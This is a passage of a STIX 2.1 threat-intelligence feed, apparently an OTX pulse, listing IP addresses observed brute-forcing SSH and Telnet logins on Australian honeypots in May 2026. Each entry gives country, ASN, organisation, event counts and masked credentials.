      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 210006. Organisation(s): Shereverov Marat Ahmedovich. Usernames observed (masked): r**t. Passwords observed (masked): P*******1.",
      "id": "indicator--ea7ca4bd-35f3-45cd-bccf-4039545ed2e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.154.244.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T02:15:11.000Z",
      "valid_until": "2026-07-01T02:15:08.000Z"
    },
    {
      "created": "2026-05-30T02:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 204428. Organisation(s): SS-Net. Usernames observed (masked): u**t. Passwords observed (masked): u**t.",
      "id": "indicator--a337b78e-7767-446a-8fe2-229983b1c5b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T02:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '80.94.95.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T02:15:11.000Z",
      "valid_until": "2026-07-01T02:15:08.000Z"
    },
    {
      "created": "2026-05-30T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 45538. Organisation(s): ODS Joint Stock Company.",
      "id": "indicator--c8110154-d086-448e-b26d-7128a1fe54e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.78.1.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T03:15:11.000Z",
      "valid_until": "2026-07-01T03:15:08.000Z"
    },
    {
      "created": "2026-05-30T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC.",
      "id": "indicator--a9519e4f-b636-41a4-be54-e464e5749257",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T03:15:11.000Z",
      "valid_until": "2026-07-01T03:15:08.000Z"
    },
    {
      "created": "2026-05-30T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 13489. Organisation(s): UNE EPM TELECOMUNICACIONES S.A..",
      "id": "indicator--39476a0e-baca-4777-9be6-94b3c75704be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.249.178.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T03:15:11.000Z",
      "valid_until": "2026-07-01T03:15:08.000Z"
    },
    {
      "created": "2026-05-30T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--dce4b689-9670-486c-8bce-f9ac4be54acc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.121.27.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T03:15:11.000Z",
      "valid_until": "2026-07-01T03:15:08.000Z"
    },
    {
      "created": "2026-05-30T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--b72d06e5-8e94-449f-9587-0f6f1905d0b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.251.128.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T03:15:11.000Z",
      "valid_until": "2026-07-01T03:15:08.000Z"
    },
    {
      "created": "2026-05-30T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--8faf41d9-109b-4e6c-9c60-4c5282dce1e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.77.221.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T03:15:11.000Z",
      "valid_until": "2026-07-01T03:15:08.000Z"
    },
    {
      "created": "2026-05-30T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--118e8377-bd5d-4a14-ba12-f7c7d13ff21c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.219.40.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T03:15:11.000Z",
      "valid_until": "2026-07-01T03:15:08.000Z"
    },
    {
      "created": "2026-05-30T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--ace00155-a810-4b93-b3fa-60c5941a80ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.212.72.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T04:15:11.000Z",
      "valid_until": "2026-07-01T04:15:08.000Z"
    },
    {
      "created": "2026-05-30T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC. Usernames observed (masked): f*****r, r**t, 3**********4, f****t, a**r. Passwords observed (masked): 3***********4, 3**********4, 1****6, A********, a******3.",
      "id": "indicator--60d605e3-6242-41c2-ab64-50e43c639e7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.200.205.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T04:15:11.000Z",
      "valid_until": "2026-07-01T04:15:08.000Z"
    },
    {
      "created": "2026-05-30T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--26d151bc-3ebd-4dec-a8d8-5332ce690d74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.135.174.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T04:15:11.000Z",
      "valid_until": "2026-07-01T04:15:08.000Z"
    },
    {
      "created": "2026-05-30T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--4e861962-a64a-4c4c-b285-0ecc9b9a0e89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T04:15:11.000Z",
      "valid_until": "2026-07-01T04:15:08.000Z"
    },
    {
      "created": "2026-05-30T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--8d65c3b1-0f14-496c-9a37-b8377847e88a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T04:15:11.000Z",
      "valid_until": "2026-07-01T04:15:08.000Z"
    },
    {
      "created": "2026-05-30T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--7219aad9-dbc3-4ce3-8388-561beee46175",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T04:15:11.000Z",
      "valid_until": "2026-07-01T04:15:08.000Z"
    },
    {
      "created": "2026-05-30T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 70. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********7, H**********************3.",
      "id": "indicator--0480ab94-3f33-4bfd-9516-db99d5d5426f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.155.57.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T05:15:11.000Z",
      "valid_until": "2026-07-01T05:15:08.000Z"
    },
    {
      "created": "2026-05-30T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 23724. Organisation(s): IDC, China Telecommunications Corporation. Usernames observed (masked): a*****e. Passwords observed (masked): 1****6.",
      "id": "indicator--aa2aac1a-b54e-4e77-8799-3c2c813de9d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.115.224.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T05:15:11.000Z",
      "valid_until": "2026-07-01T05:15:08.000Z"
    },
    {
      "created": "2026-05-30T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LA. ASN(s): 131267. Organisation(s): Star Telecom. Usernames observed (masked): r**t, s****r, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 5******B, A********, P**********$.",
      "id": "indicator--85625240-2d98-44a1-873e-f2f3e0637254",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.182.125.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T05:15:11.000Z",
      "valid_until": "2026-07-01T05:15:08.000Z"
    },
    {
      "created": "2026-05-30T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EC. ASN(s): 263238. Organisation(s): Eliana Vanessa Morocho Ona. Usernames observed (masked): r**t, 3**********4, r****d. Passwords observed (masked): 1*******3, 1********c, 1**************X, 1******x, 3***********4.",
      "id": "indicator--3c6c0ba7-6557-4aba-a596-c2d8c6d335f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '193.30.14.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T05:15:11.000Z",
      "valid_until": "2026-07-01T05:15:08.000Z"
    },
    {
      "created": "2026-05-30T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): r**t. Passwords observed (masked): c****3.",
      "id": "indicator--4cc12286-fff9-467e-beef-68bf8702fb07",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.145.112.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T05:15:11.000Z",
      "valid_until": "2026-07-01T05:15:08.000Z"
    },
    {
      "created": "2026-05-30T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--f0c1d63c-aa3f-4bca-b37d-e16453a4da87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T05:15:11.000Z",
      "valid_until": "2026-07-01T05:15:08.000Z"
    },
    {
      "created": "2026-05-30T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 74. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6, b************'. Passwords observed (masked): **, A*******************p, C********1, H**********************3, b*******************************************************************************************************************'.",
      "id": "indicator--a72e5282-8261-471e-a2be-bee07bc37079",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.251.133.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T05:15:11.000Z",
      "valid_until": "2026-07-01T05:15:08.000Z"
    },
    {
      "created": "2026-05-30T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--c973eab3-5e73-4597-bbc8-008eabf8d9da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.250.93.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T05:15:11.000Z",
      "valid_until": "2026-07-01T05:15:08.000Z"
    },
    {
      "created": "2026-05-30T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): t**t. Passwords observed (masked): t**t.",
      "id": "indicator--3a6a37a2-13a5-411c-9673-0cb15aaf9fd5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T05:15:11.000Z",
      "valid_until": "2026-07-01T05:15:08.000Z"
    },
    {
      "created": "2026-05-30T06:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 74. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********0, H**********************3.",
      "id": "indicator--67eaafe4-9327-4bab-a6d1-bac484ded4fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.38.85.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T06:15:06.000Z",
      "valid_until": "2026-07-01T06:15:03.000Z"
    },
    {
      "created": "2026-05-30T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 200845. Organisation(s): Avatel Telecom, SA. Usernames observed (masked): r**t, t**t, 3**********4, **. Passwords observed (masked): !**************r, ***, 3***********4, 3**********4, A******************************C.",
      "id": "indicator--89d5618b-18f6-47a8-b466-029af457a5ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.182.83.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T06:15:06.000Z",
      "valid_until": "2026-07-01T06:15:03.000Z"
    },
    {
      "created": "2026-05-30T06:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--c8572fe8-f471-46e4-929b-6ed19912c6a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T06:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '54.160.203.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T06:15:06.000Z",
      "valid_until": "2026-07-01T06:15:03.000Z"
    },
    {
      "created": "2026-05-30T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): p*******r. Passwords observed (masked): 1****6.",
      "id": "indicator--d3bf6b6e-9e2c-4fed-a01d-d46edb84b2e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.111.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T07:15:11.000Z",
      "valid_until": "2026-07-01T07:15:08.000Z"
    },
    {
      "created": "2026-05-30T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): h***o. Passwords observed (masked): h***o.",
      "id": "indicator--b8766a1c-678e-4d29-8206-4dfdb090315e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '150.136.129.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T07:15:11.000Z",
      "valid_until": "2026-07-01T07:15:08.000Z"
    },
    {
      "created": "2026-05-30T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DO. ASN(s): 28118. Organisation(s): ALTICE DOMINICANA S.A..",
      "id": "indicator--4dbfc6f2-e04e-4735-b150-9c55e9a5fec1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.36.94.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T07:15:11.000Z",
      "valid_until": "2026-07-01T07:15:08.000Z"
    },
    {
      "created": "2026-05-30T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd.. Usernames observed (masked): ***. Passwords observed (masked): ***.",
      "id": "indicator--21364e6d-5a6b-481f-b0bc-08257295f338",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.133.130.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T07:15:11.000Z",
      "valid_until": "2026-07-01T07:15:08.000Z"
    },
    {
      "created": "2026-05-30T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 202425. Organisation(s): IP Volume inc.",
      "id": "indicator--7e9e4bd7-0420-4bda-8f0b-b69032e77a42",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.102.49.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T07:15:11.000Z",
      "valid_until": "2026-07-01T07:15:08.000Z"
    },
    {
      "created": "2026-05-30T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, c***i, 3**********4, m*****r, y**a. Passwords observed (masked): !**********e, 3***********4, 3**********4, C**********!, W******6.",
      "id": "indicator--e6203572-dd8b-4a06-ad8b-924f459eb729",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.190.220.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T08:15:11.000Z",
      "valid_until": "2026-07-01T08:15:08.000Z"
    },
    {
      "created": "2026-05-30T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BA. ASN(s): 42560. Organisation(s): Telemach BH d.o.o. Sarajevo.",
      "id": "indicator--f37a188d-cf8b-4d18-90eb-ebc933eaf9dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.18.152.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T08:15:11.000Z",
      "valid_until": "2026-07-01T08:15:08.000Z"
    },
    {
      "created": "2026-05-30T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 215778. Organisation(s): Alpha Strike Labs GmbH.",
      "id": "indicator--92def596-2f7d-42a5-b89b-89bdbd5333a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-30T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-30T08:15:11.000Z",
      "valid_until": "2026-07-01T08:15:08.000Z"
    },
    {
      "created": "2026-05-30T08:15:11.000Z",
